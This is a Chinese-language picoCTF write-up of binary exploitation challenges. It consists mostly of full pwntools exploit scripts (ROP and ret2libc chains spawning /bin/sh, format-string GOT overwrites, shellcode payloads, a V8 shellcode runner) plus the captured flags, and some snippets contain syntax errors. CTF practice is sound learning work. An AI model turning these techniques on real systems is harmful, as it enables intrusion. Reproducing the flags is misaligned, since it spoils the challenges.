picoCTF,Binary Exploitation,23/37
题目站点链接 https://play.picoctf.org/
最初将所有题解放在一个帖子里,帖子太长了不便于阅读,
为了方便后期编辑和阅读。2023年02月10日,将帖子拆分,按照题目类型分为六类:
picoCTF-General Skills,基本技能类
picoCTF-Cryptography,密码类
picoCTF-Forensics,取证类
picoCTF-Web Exploitation,网页开发类
picoCTF-Reverse Engineering,逆向类
picoCTF-Binary Exploitation,二进制类
下面,给出题解,逐步完善中……
注意:很多题目flag是变化的,每一个账号解题得到的flag不一样,所以,下面帖子里的flag仅供参考,但解题思路方法是一样的。
2019 picoCTF
01、messy-malloc,300分
题目出错,失效了
2020 Mini-Competition
01、Guessing_Game_1,250分
调试了一下程序,打印猜数字提示之前,加一句输出数字,就不用猜了
printf(“%d,\n”,ans);
printf(“What number would you like to guess?\n”);
发现数字是84.
输入名子的语句是
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
winner的BUFSIZE是100,fgets接收360。在这里有溢出
然后找地址……
网上找到一个python
from pwn import *
syscall = 0x40137c
pop_rax = 0x4163f4
pop_rdi = 0x400696
pop_rsi = 0x410ca3
pop_rdx = 0x44a6b5
mov_rdi_rdx = 0x436393 #mov [rdi], rdx
bin_sh_addr = 0x6b7000
#r = process("./GuessingGame1_vuln")
r = remote("jupiter.challenges.picoctf.org", 51462)
r.sendlineafter("What number would you like to guess?\n", b'84')
writegadget = p64(pop_rdx) + str.encode("/bin/sh".ljust(8, "\x00"))
writegadget += p64(pop_rdi) + p64(bin_sh_addr)
writegadget += p64(mov_rdi_rdx)
sigframe = p64(pop_rax) + p64(59)
sigframe += p64(pop_rdi) + p64(bin_sh_addr)
sigframe += p64(pop_rsi) + p64(0)
sigframe += p64(pop_rdx) + p64(0)
sigframe += p64(syscall)
payload = cyclic(0x78) + writegadget + sigframe
r.sendlineafter("Name? ", payload)
r.interactive()
注意:用python2运行python2 GuessingGame1.py
改了一下,用Python3。
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_44d502016ea374b8}
02、Guessing_Game_2,300分
操!,这一题我断断续续做了有一个月。
首先,很快测到要猜的数字,我这一题是,本地: -477
,远程: -3727
然后,怎么注入都不对,总是差一点点,在网上问了各路大神,求救了各位朋友,
得到的 puts_addr 是0xf7d6c560
,最后结尾是 560
在libc库里查不到,看截图
有好多libc库都查不到,网上的题解,得到的puts_addr都是460
结尾的,我都郁闷了……,搞了将近一个月。
程序改了无数次,各环节数据检测,后来……
在libc.rip
偶然测了一下,成功了,原来,这些libc库查询网站的数据,来源不统一,不一样。既然libc.rip
查到了,应该是更新比较快的网站。
查到了,就好办了。
代码:
#!/usr/bin/env python3
from pwn import *
from pwnlib.util.cyclic import cyclic
elf = ELF('GuessingGame2_vuln', checksec=True)
win_addr = elf.sym['win'] # 获取函数win函数地址 0x0804876E
puts_plt = elf.plt['puts'] # 获取函数PLT地址
puts_got = elf.got['puts'] # 获取函数got表地址
p = remote('jupiter.challenges.picoctf.org', 13775)
number = '-3727'
# 注入 "%135$x", 获取canary
canary_add = '%135$x'
p.sendlineafter(b'guess?\n', number.encode())
p.sendlineafter(b'Name? ', canary_add.encode())
res = p.recvline().decode().strip()
res = res.lstrip('Congrats: ')
canary = int(res, 16)
log.success(f'返回值: {res}')
log.success(f'Leaked canary: {hex(canary)}')
# 注入 payload, 获取 puts_addr
payload1 = cyclic(512) + p32(canary) + cyclic(12)
payload1 = payload1 + p32(puts_plt) + p32(win_addr) + p32(puts_got)
p.sendlineafter(b'guess?\n', number.encode())
p.sendlineafter(b'Name? ', payload1)
p.recvline()
p.recvline()
res = p.recvline()
puts_addr = u32(res[0:4])
log.success(f'返回值: {res}')
log.success(f'puts_addr: {hex(puts_addr)}')
p.recvline()
# 查找libc偏移地址
'''
# libc6-i386_2.27-3ubuntu1.3_amd64
puts_offset = 0x067460
system_offset = 0x03ce10
bin_sh_offset = 0x17b88f
'''
# libc6-i386_2.27-3ubuntu1.5_amd64
puts_offset = 0x67560
system_offset = 0x3cf10
bin_sh_offset = 0x17b9db
# 注入 payload, 获取 远程 bin/sh
glibc_base_addr = puts_addr - puts_offset
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload2 = cyclic(512) + p32(canary) + cyclic(12)
payload2 = payload2 + p32(system_addr) + p32(win_addr) + p32(bin_sh_addr)
p.sendlineafter(b"Name? ", payload2)
p.recvline()
p.interactive()
运行如下:
picoCTF{p0p_r0p_4nd_dr0p_1t_ df43c4f079f1f1e}
2021 picoCTF
01、Stonks,20分
导入pwn,写一个小程序。
from pwn import *
io = remote('mercury.picoctf.net', 53437)
io.recvuntil("2) View my portfolio\n")
io.sendline("1")
io.recvuntil("What is your API token?\n")
io.sendline("%x-" * 80)
io.recvuntil("Buying stonks with token:\n")
leak = io.recvline().decode('utf-8')
leak = leak.split('-')
flag = ""
for each in leak:
try:
each = bytearray.fromhex(each).decode()[::-1]
flag += each
except:
continue
flag += '}'
print(flag)
picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}
02、Cache Me Outside,70分
nc连接网站,系统运行,需要填写地址和变量值,系统就会读取并反馈一个字符串
下载获得程序文件,运行失败,命令ldd
获得连接文件信息
└─# ldd heapedit
linux-vdso.so.1 (0x00007ffcc293f000)
libc.so.6 => ./libc.so.6 (0x00007ff1bf800000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff1bfceb000)
用Ghidra逆向,可以看到程序读取了flag.txt。
我们,手工建立一个flag.txt文件,内容只有一行
picoCTF{test_123_abc}
程序读取这个文件后,也会放在同样的位置,现在我们要把“heapedit”这个程序运行起来。
尝试用命令pwninit
配置运行环境,
需要
apt install elfutils
apt install patchelf
安装elf支持,
如果安装失败,用apt --fix-broken install
修复依赖关系错误。
最终,用pwninit
配置好调试环境,pwninit
可以补充链接库,并生成一个solve.py程序,是调试接口文件。记得去年好像还没有这个东西,我找这个ld-2.27.so
,找了很久。
用
patchelf --set-interpreter ./ld-2.27.so ./heapedit
指定头文件。
└─# ldd heapedit
linux-vdso.so.1 (0x00007ffe8bf1d000)
libc.so.6 => ./libc.so.6 (0x00007f7367e00000)
./ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007f73683be000)
再次查看连接头文件的时候,已经有了./ld-2.27.so => /lib64/ld-linux-x86-64.so.2
程序可以运行了。
用gdb -q heapedit
调试程序
设置断点b puts
用r
运行,可以看到程序读取了flag.txt里的内容
基址为0x6034a0
用find 0x602000, 0x623000, 0x603890
查找entries的地址
得到0x602088
,这样,偏移地址为0x602088 - 0x6034a0 = -0x1418
,也就是 -5144
再次调试程序,输入-5143
和4
,得到flag。
至此,程序运行正常,偏移地址正确。
把这个值从命令行输入程序。发现第一次成功,后来不成功。
查了大量的资料,说是什么“地址空间随机化”(ASLR,Address Space Layout Randomization),一种操作系统用来抵御缓冲区溢出攻击的内存保护机制。这种技术使得系统上运行的进程的内存地址无法被预测,使得与这些进程有关的漏洞变得更加难以利用。
就是,多试几次,总有成功的。
于是,写了一个循环的命令
while true; do echo '-5143\n4' | ./heapedit; done | grep picoCTF
得到这个
然后就在题目给定的nc mercury.picoctf.net 34499
上试一试
picoCTF{ea0e7e8e8c7bf85caa6601f3dae7ce26}
03、Here’s a LIBC,90分
这个我真做不出来,替换头文件等步骤做了一下,然后怎么找地址,我真是不会,后来找到一个程序,很古老的Python2版本。改了一天,改成Python3版本
from ZODB.utils import u64, p64
from pwn import *
# context.log_level = "debug"
URL, PORT = "mercury.picoctf.net", 49464
sel = 0
io = remote(URL, PORT)
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret = 0x000000000040052e
pop_rdi = 0x0000000000400913
main = 0x0000000000400771
io.recvline()
payload = ('a' * 0x88).encode() + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
print(payload)
io.sendline(payload)
io.recvline()
r_bytes = io.recv(6) + b'\x00\x00'
puts_addr = u64(r_bytes)
libc_addr = puts_addr - libc.sym['puts']
print("libc_addr----->" + hex(libc_addr))
system = libc.sym['system'] + libc_addr
bin_sh = next(libc.search(b'/bin/sh')) + libc_addr
io.recvline()
payload2 = ('a' * 0x88).encode() + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.sendline(payload2)
io.interactive()
这是Python2,context.log_level = "debug"
,带debug调试的界面:
在 $
提示符下,操作远端主机,
用ls
列目录,可以看到有一个flag.txt
文件,
用cat
可以看到文件内容。
下面是Python3版本。
同样,绿色的字是必须手工输入的,没有$提示符。
并且关闭了context.log_level = "debug"
,没有调试信息,界面清爽一些。
picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}
04、Unsubscriptions Are Free,100分
分析程序,加你用户,并且留言……,然后用pwn程序运行一下。
from pwn import *
elf = ELF("./vuln")
# p=process("./vuln")
p = remote("mercury.picoctf.net", 48259)
p.sendline(b"M") # Create Account
p.sendline(b"")
p.sendline(b"I") # Delete Account
p.sendline(b"Y")
p.sendline(b"l") # Leave Message
import time
time.sleep(1)
p.sendline(p32(elf.symbols['hahaexploitgobrrr']))
p.interactive()
在Python2中运行
picoCTF{d0ubl3_j30p4rdy_cff1f12d}
05、filtered-shellcode,160分
这个,好像给他代码,可以运行,可是写了ls
、dir
……都不行。
到了网上的解题。太复杂了……
https://github.com/Dvd848/CTFs/blob/master/2021_picoCTF/filtered-shellcode.md
我最后是传入了,这么一个串
echo "\x31\xC9\xF7\xE1\x51\x90\x31\xC0\x31\xDB\xB0\x11\xB3\x03\xF7\xE3\xF7\xE3\xB3\x02\xF7\xE3\xD1\xEB\x01\xD8\xB3\x02\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\xB3\x02\xF7\xE3\xD1\xEB\x01\xD8\xB3\x11\xF7\xE3\xB3\x02\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\x50\x90\x31\xC0\xB0\x7F\xB3\x17\xF7\xE3\xB3\x02\xF7\xE3\xD1\xEB\x01\xD8\xB3\x02\xF7\xE3\x5B\x90\xF7\xE3\x50\x90\x31\xC0\x31\xDB\xB0\x2F\xF7\xE0\xB3\x02\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\x50\x90\x31\xC0\xB0\x2B\xB3\x03\xF7\xE3\xB3\x02\xF7\xE3\xF7\xE3\xF7\xE3\xD1\xEB\x01\xD8\xB3\x13\xF7\xE3\xB3\x05\xF7\xE3\xB3\x02\xF7\xE3\x5B\x90\xF7\xE3\x50\x90\x31\xC0\xB0\x05\x89\xE3\xCD\x80\x93\x90\x91\x90\xB0\x03\x31\xD2\x50\x90\x31\xC0\x31\xD2\xB2\x40\xB0\x40\xF7\xE2\x50\x90\x5A\x90\x31\xC0\xB0\x01\x29\xC2\x58\x90\x42\x90\xCD\x80\x92\x90\x31\xC0\xB0\x04\xB3\x01\xCD\x80\x93\x90\xCD\x80\n" | nc mercury.picoctf.net 28494
picoCTF{th4t_w4s_fun_384f7c52706306d0}
06、Kit Engine,200分
下载3个文件,其中 v8 是chrome浏览器的JavaScript解析引擎,针对chrome浏览器的漏洞利用也几乎都是v8引擎引起的。
这一题,就是利用V8调试,来获得flag
source.tar.gz 是一个补丁,
server.py,猜测是服务端程序。
查看补丁代码有一段
void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
Isolate* isolate = args.GetIsolate();
if(args.Length() != 1) {
return;
}
double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (func == (double *)-1) {
printf("Unable to allocate memory. Contact admin\n");
return;
}
if (args[0]->IsArray()) {
Local<Array> arr = args[0].As<Array>();
Local<Value> element;
for (uint32_t i = 0; i < arr->Length(); i++) {
if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
Local<Number> val = element.As<Number>();
func[i] = val->Value();
}
}
printf("Memory Dump. Watch your endianness!!:\n");
for (uint32_t i = 0; i < arr->Length(); i++) {
printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
}
printf("Starting your engine!!\n");
void (*foo)() = (void(*)())func;
foo();
}
printf("Done\n");
}
代码作为v8的升级补充,增加了AssembleEngine
函数
编写代码
from pwn import *
import struct
context.arch = 'amd64'
ls = asm(shellcraft.execve(b"/bin/ls", ["ls"]))
cat = asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"]))
def convert_to_double_array(shellcode: bytes) -> list[float]:
res: list[float] = []
for i in range(0, len(shellcode), 8):
block = shellcode[i:i + 8]
if len(block) < 8:
block = block + b"\0" * (8 - len(block))
res.append(struct.unpack("<d", block)[0])
return res
def run(shellcode: list[float]):
code = f"AssembleEngine([{', '.join(map(str, shellcode))}])"
p = remote("mercury.picoctf.net", 60514)
p.sendlineafter(b"Provide size", str(len(code)))
p.sendlineafter(b"Provide script", code)
print(p.recvall().decode())
run(convert_to_double_array(ls))
run(convert_to_double_array(cat))
运行如下:
picoCTF{vr00m_vr00m_4168cbd2cfccd836}
07、Stonk Market,250分
nc连接网站,注入:
%c%c%c%c%c%c%c%c%c%c%6299662c%n%216c%20$hhn%10504067c%10$n
picoCTF{explo1t_m1t1gashuns_d67d2898}
2021 picoMini by redpwn
01、clutter-overflow,150分
混乱的溢出……
从程序代码和反馈文字看,
当 code == deadbeef的时候给出flag
于是给code 赋值为 0xdeadbeef就可以了。
用gdb调试打开chall
disassemble main
显示主函数
就是这里
code的地址值是$rbp
寄存器值,减去0x8
,减去8位。
追踪rbp寄存器,输入一个很长的字串,我试了很多次
rbp寄存器值是6c696b7575726879
转码之后是likuurhy
likuurhy
与输入的字节yhruukil
正好两位一组倒序排列,我们只要合理的输入字符串就能达到效果。
code变化了,7472656766647364
解码后是tregfdsd
是输入的字符dsdfgert
的倒序
计算了输入的字符串长度,272,code的起始位置是264。
于是写了下面的代码
from pwn import *
context.log_level = "debug"
URL, PORT = "mars.picoctf.net", 31890
r = remote(URL, PORT)
r.recvuntil(b'What do you see?')
payload = ('a' * 264).encode() + b'\xef\xbe\xad\xde'
r.sendline(payload)
r.interactive()
r.close()
exit()
还有输入的是字母,但是code取出来是16进制,如何让code的值是字母呢?
反正最后就是这样……
picoCTF{c0ntr0ll3d_clutt3r_1n_my_buff3r}
02、fermat-strings,250分
找到的代码:
from pwn import context, ELF, log, process, remote, sys, p64, u64
context.binary = ELF('chall', checksec=False)
elf = context.binary
def get_process():
if len(sys.argv) == 1:
return process(elf.path)
elif len(sys.argv) == 3:
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
else:
print('传入参数错误!')
exit()
def dump(n: int) -> str:
p = get_process()
p.sendlineafter(b'A: ', b'1')
p.sendlineafter(b'B: ', f'1.%{n}$lp'.encode())
p.recvuntil(b'B: ')
res = p.recvline().strip().split(b'.')[1].decode()
p.close()
return res
def leak_address(got_entry: int) -> int:
payload_a = b'1234567.' + p64(got_entry)
payload_b = b'1.%11$s'
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.recvuntil(b'B: 1.')
return u64(p.recvline().strip().ljust(8, b'\0'))
p = get_process()
pow_got = 0x601040
atoi_got = 0x601058
puts_got = 0x601018
main_addr = 0x400837
puts_offset = 0x875a0
system_offset = 0x55410
bytes_on_stack = 38
bytes_to_print = main_addr - bytes_on_stack - 2
payload_a = b'1234567.' + p64(pow_got)
payload_b = f'1.%{bytes_to_print}c'.encode() + b'%11$n'
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.recvline()
atoi_addr = leak_address(atoi_got)
log.success(f'Leaked atoi() address: {hex(atoi_addr)}')
puts_addr = leak_address(puts_got)
log.success(f'Leaked puts() address: {hex(puts_addr)}')
glibc_base_addr = puts_addr - puts_offset
log.success(f'Glibc base address: {hex(glibc_base_addr)}')
system_addr = glibc_base_addr + system_offset
bytes_to_print = ((system_addr & 0xffff) - bytes_on_stack - 2) % 0xffff
payload_a = b'1234567.' + p64(atoi_got) + p64(atoi_got + 2)
payload_b = f'1.%{bytes_to_print}c'.encode() + b'%11$hn'
bytes_to_print = (((system_addr >> 16) - system_addr) & 0xffff) % 0xffff
payload_b += f'%{bytes_to_print}c'.encode() + b'%12$hn'
p.sendlineafter(b'A: ', payload_a)
p.sendlineafter(b'B: ', payload_b)
p.sendlineafter(b'A: ', b'/bin/sh')
p.sendlineafter(b'B: ', b'')
p.recvuntil(b'B: ')
p.sendline()
p.interactive()
命令行:
python3 fermat-strings.py mars.picoctf.net 31929
得到flag
注意:不知道为什么,有时候不行,可能是费马大定理求解,时间太长要等一会,才能再次提供服务。
picoCTF{f3rm4t_pwn1ng_s1nc3_th3_17th_c3ntury}
2022 picoCTF
01、basic-file-exploit,100分
一个系统,写入数据,然后再显示出来。
C语言,研究了一下。
static void data_read()
函数读取数据,有一个判断
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
strtol
函数,作用就是将一个字符串转换为长整型long
输入数==0,就put(flag)
于是,按顺序开展下面的操作,同时,翻译了一下
Please put in a valid number
请输入有效地数字
Please enter your data:
输入你的数据
Please enter the length of your data:
输入你的数据地长度
Write successful, would you like to do anything else?
写成功了,你还想做点别的事情吗?
echo a phrase in our database
显示我们数据库中的短语
Please enter the entry number of your data
请输入您的数据输入编号
这时候输入编号0就可以了
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_68466E2F}
02、buffer overflow 0,100分
输入一个长字符串,溢出,就会出现flag
picoCTF{ov3rfl0ws_ar3nt_that_bad_8ba275ff}
03、CVE-XXXX-XXXX,100分
picoCTF{CVE-XXXX-XXXXX}
查一下,是一个漏洞编号
Windows Print Spooler服务最新漏洞CVE-2021-34527
picoCTF{CVE-2021-34527}
04、buffer overflow 1,200分
代码
# pip3, pwn
from pwn import *
r = remote('saturn.picoctf.net', 63165)
print(r.recvuntil(b'Please enter your string:'))
payload = b'a' * 44 + p32(0x80491f6)
r.sendline(payload)
print(payload)
print((r.recvline()).decode())
print((r.recv()).decode())
picoCTF{addr3ss3s_ar3_3asy_c76b273b}
05、RPS,200分
程序是剪刀石头布,连赢5次就能拿到flag,一开始想复杂了,寄存器、溢出、gdb什么的,后来查资料,是比较函数有漏洞。
程序如下:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
bool play () {
char player_turn[100];
srand(time(0));
int r;
printf("Please make your selection (rock/paper/scissors):\n");
r = tgetinput(player_turn, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}
int main () {
char input[3] = {'\0'};
int command;
int r;
puts("Welcome challenger to the game of Rock, Paper, Scissors");
puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
puts("Are you ready?");
while (true) {
puts("Type '1' to play a game");
puts("Type '2' to exit the program");
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
printf("\n\n");
if (play()) {
wins++;
} else {
wins = 0;
}
if (wins >= 5) {
puts("Congrats, here's the flag!");
puts(flag);
}
} else if (command == 2) {
return 0;
} else {
puts("Please type either 1 or 2");
}
}
return 0;
}
computer_turn是随机计算机出的序号,兑换这个序号的胜利值,比较胜利值在不在玩家出的字串中。这样,玩家出‘rockpaperscissors’这个字串,那么 剪刀 石头 布 三种都有,永远赢。连赢5次就行了。
picoCTF{50M3_3X7R3M3_1UCK_C85AF58A}
06、x-sixty-what,200分
查了网上资料,72个字符之后给一个地址跳转
from pwn import *
payload = b'A' * 72 + b'\x3b\x12\x40\x00\x00\x00\x00\x00'
p = remote("saturn.picoctf.net", 65432)
output = p.recvline()
print(output.decode())
print("Sending payload")
p.sendline(payload)
print("Payload sent")
output = p.recv()
print(output.decode())
picoCTF{b1663r_15_b3773r_964d9987}
07、buffer overflow 2,300分
一个狠人,写了一段代码,local、GDB、REMOTE全通用,真是厉害!
from pwn import *
# Allows you to switch between local/GDB/REMOTE from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('saturn.picoctf.net', 63450)
return remote('saturn.picoctf.net', 63450, *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'error'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
eip_offset = 112
info('located EIP offset at {a}'.format(a=eip_offset))
# Create ROP object
rop = ROP(elf)
# Call the hacked function
rop.win(0xCAFEF00D, 0xF00DF00D)
# Get the raw bytes
rop_chain = rop.chain() # Add exit : + p32(0x0804927e)
# Build payload
payload = flat({eip_offset: rop_chain})
# Save payload to file
write('payload', payload)
# Start a new process
io = start()
# PWN
io.sendlineafter(b'string: \n', payload)
# Receive the flag
io.interactive()
picoCTF{argum3nt5_4_d4yZ_31432deb}
08、buffer overflow 3,300分
把上一题那个狠人的程序改一下,用了一天的时间
from pwn import *
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('vuln', checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'error'
# canary token leaked by using leak_canary.py
canry = b"BiRd"
# Start program
io = remote('saturn.picoctf.net', 49811)
offset = 64 # Canary offset
io.sendlineafter(b'> ', b'-1')
io.recvuntil(b'Input> ')
# Build payload (return to win)
payload = flat([
offset * b'A', # Pad to canary (64)
canry, # Our leaked canary (4)
16 * b'A', # Pad to Ret pointer (8)
elf.symbols.win # Jmp to win function])
io.sendline(payload)
print(payload)
print(io.recv().decode())
io.interactive()
picoCTF{Stat1C_c4n4r13s_4R3_b4D_9602b3a1}
09、flag leak,300分
还是溢出问题,客户端打什么,服务器就返回什么。
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF("./vuln", checksec=False)
context.log_level = "error"
for x in range(130):
try:
p = remote('saturn.picoctf.net', 55065)
p.recvuntil(b">> ")
send_str = '%{}$s'.format(x).encode()
print(str(x).zfill(3), send_str)
p.sendline(send_str)
p.recvline()
leaked = p.recvline()
if b"CTF{" in leaked:
print("Flag:", leaked.decode())
break
else:
print(leaked)
except EOFError:
pass
picoCTF{L34k1ng_Fl4g_0ff_St4ck_c2e94e3d}
10、ropfu,300分
这个题目重点说了一个ROPgadget,专门做题的工具,生成payload
ROPgadget --binary ./vuln --ropchain
就可以了,
像这样……
from struct import pack
p='a'*28
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80
picoCTF{5n47ch_7h3_5h311_c6992ff0}
11、wine,300分
找到偏移地址
from pwn import *
r = remote('saturn.picoctf.net', 62702)
payload = cyclic(140) + p32(0x0401530)
r.sendlineafter(b'Give me a string!\r\n', payload)
print(r.recvall().decode())
r.interactive()
picoCTF{Un_v3rr3_d3_v1n_8ab00bc8}